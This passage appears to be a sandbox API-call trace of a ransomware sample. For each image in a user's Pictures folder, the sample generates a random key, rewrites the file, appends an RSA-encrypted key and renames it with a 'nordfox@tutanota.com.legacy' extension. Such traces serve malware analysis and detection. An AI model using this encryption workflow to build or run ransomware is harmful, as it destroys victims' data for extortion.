lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f0328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x674c, lpOverlapped=0x0) returned 1 [0112.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f0328 | out: hHeap=0x520000) returned 1 [0112.758] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x674c [0112.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.759] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.759] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.759] CloseHandle (hObject=0x600) returned 1 [0112.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.759] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\vb16RFycCzBr.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\vb16rfycczbr.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\vb16RFycCzBr.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\vb16rfycczbr.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8140 | out: hHeap=0x520000) returned 1 [0112.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0112.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0112.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0112.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0112.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0112.761] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\vAFDzHd.jpg", dwFileAttributes=0x80) returned 1 [0112.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563d50 [0112.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.762] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\vAFDzHd.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\vafdzhd.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.762] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83371) returned 1 [0112.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x145ab) returned 0x5e9bd0 [0112.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x145ab) returned 0x5fe188 [0112.762] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x145ab, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x145ab, lpOverlapped=0x0) returned 1 [0112.766] SetFilePointer (in: hFile=0x600, lDistanceToMove=-83371, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.766] WriteFile (in: hFile=0x600, lpBuffer=0x5fe188*, nNumberOfBytesToWrite=0x145ab, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fe188*, lpNumberOfBytesWritten=0x2e1f9bc*=0x145ab, lpOverlapped=0x0) returned 1 [0112.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fe188 | out: hHeap=0x520000) returned 1 [0112.768] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x145ab [0112.768] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.770] WriteFile (in: hFile=0x600, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.770] WriteFile (in: hFile=0x600, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.770] CloseHandle (hObject=0x600) returned 1 [0112.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0112.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0112.770] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\vAFDzHd.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\vafdzhd.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\vAFDzHd.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\vafdzhd.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d50 | out: hHeap=0x520000) returned 1 [0112.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57eda8 [0112.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.772] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.773] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\US-p7wF9_QEE9NOfQU.bmp", dwFileAttributes=0x80) returned 1 [0112.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57ed40 [0112.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0112.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed40 | out: hHeap=0x520000) returned 1 [0112.773] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\US-p7wF9_QEE9NOfQU.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\us-p7wf9_qee9nofqu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.773] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75712) returned 1 [0112.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x127c0) returned 0x5e9bd0 [0112.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x127c0) returned 0x5fc398 [0112.774] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x127c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x127c0, lpOverlapped=0x0) returned 1 [0112.777] SetFilePointer (in: hFile=0x600, lDistanceToMove=-75712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.777] WriteFile (in: hFile=0x600, lpBuffer=0x5fc398*, nNumberOfBytesToWrite=0x127c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fc398*, lpNumberOfBytesWritten=0x2e1f9bc*=0x127c0, lpOverlapped=0x0) returned 1 [0112.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fc398 | out: hHeap=0x520000) returned 1 [0112.780] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x127c0 [0112.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.781] WriteFile (in: hFile=0x600, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.781] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.782] CloseHandle (hObject=0x600) returned 1 [0112.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.782] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\US-p7wF9_QEE9NOfQU.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\us-p7wf9_qee9nofqu.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\US-p7wF9_QEE9NOfQU.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\us-p7wf9_qee9nofqu.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0112.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eda8 | out: hHeap=0x520000) returned 1 [0112.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ead0 | out: hHeap=0x520000) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e248 [0112.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0112.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0112.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\u9P2rhycg_L5FHzE-kU.png", dwFileAttributes=0x80) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e178 [0112.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0112.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e178 | out: hHeap=0x520000) returned 1 [0112.784] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\u9P2rhycg_L5FHzE-kU.png" (normalized: "c:\\users\\fd1hvy\\pictures\\u9p2rhycg_l5fhze-ku.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.785] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96977) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17ad1) returned 0x5e9bd0 [0112.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17ad1) returned 0x2e20fd8 [0112.786] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x17ad1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x17ad1, lpOverlapped=0x0) returned 1 [0112.790] SetFilePointer (in: hFile=0x600, lDistanceToMove=-96977, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.790] WriteFile (in: hFile=0x600, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x17ad1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17ad1, lpOverlapped=0x0) returned 1 [0112.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0112.795] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17ad1 [0112.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.796] WriteFile (in: hFile=0x600, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.797] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.797] CloseHandle (hObject=0x600) returned 1 [0112.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0112.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.797] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\u9P2rhycg_L5FHzE-kU.png" (normalized: "c:\\users\\fd1hvy\\pictures\\u9p2rhycg_l5fhze-ku.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\u9P2rhycg_L5FHzE-kU.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\u9p2rhycg_l5fhze-ku.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0112.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e248 | out: hHeap=0x520000) returned 1 [0112.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e728 | out: hHeap=0x520000) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e588 [0112.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0112.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.799] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0112.799] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.799] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\txhWwLGlcdRnJZt.bmp", dwFileAttributes=0x80) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e2b0 [0112.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0112.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e2b0 | out: hHeap=0x520000) returned 1 [0112.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\txhWwLGlcdRnJZt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\txhwwlglcdrnjzt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.800] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=41136) returned 1 [0112.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0b0) returned 0x5e9bd0 [0112.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0b0) returned 0x5f3c88 [0112.800] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0b0, lpOverlapped=0x0) returned 1 [0112.802] SetFilePointer (in: hFile=0x600, lDistanceToMove=-41136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.802] WriteFile (in: hFile=0x600, lpBuffer=0x5f3c88*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f3c88*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0b0, lpOverlapped=0x0) returned 1 [0112.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f3c88 | out: hHeap=0x520000) returned 1 [0112.804] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0b0 [0112.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.805] WriteFile (in: hFile=0x600, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.805] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.805] CloseHandle (hObject=0x600) returned 1 [0112.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0112.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.805] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\txhWwLGlcdRnJZt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\txhwwlglcdrnjzt.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\txhWwLGlcdRnJZt.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\txhwwlglcdrnjzt.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0112.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e588 | out: hHeap=0x520000) returned 1 [0112.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e5f0 | out: hHeap=0x520000) returned 1 [0112.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0112.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.863] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0112.863] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.863] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\rL5cLP.jpg", dwFileAttributes=0x80) returned 1 [0112.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ff0 [0112.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.864] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\rL5cLP.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rl5clp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.865] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=38195) returned 1 [0112.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9533) returned 0x5e9bd0 [0112.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9533) returned 0x5f3110 [0112.865] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x9533, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x9533, lpOverlapped=0x0) returned 1 [0112.869] SetFilePointer (in: hFile=0x600, lDistanceToMove=-38195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.869] WriteFile (in: hFile=0x600, lpBuffer=0x5f3110*, nNumberOfBytesToWrite=0x9533, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f3110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9533, lpOverlapped=0x0) returned 1 [0112.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f3110 | out: hHeap=0x520000) returned 1 [0112.870] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9533 [0112.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.872] WriteFile (in: hFile=0x600, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.872] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.872] CloseHandle (hObject=0x600) returned 1 [0112.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0112.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 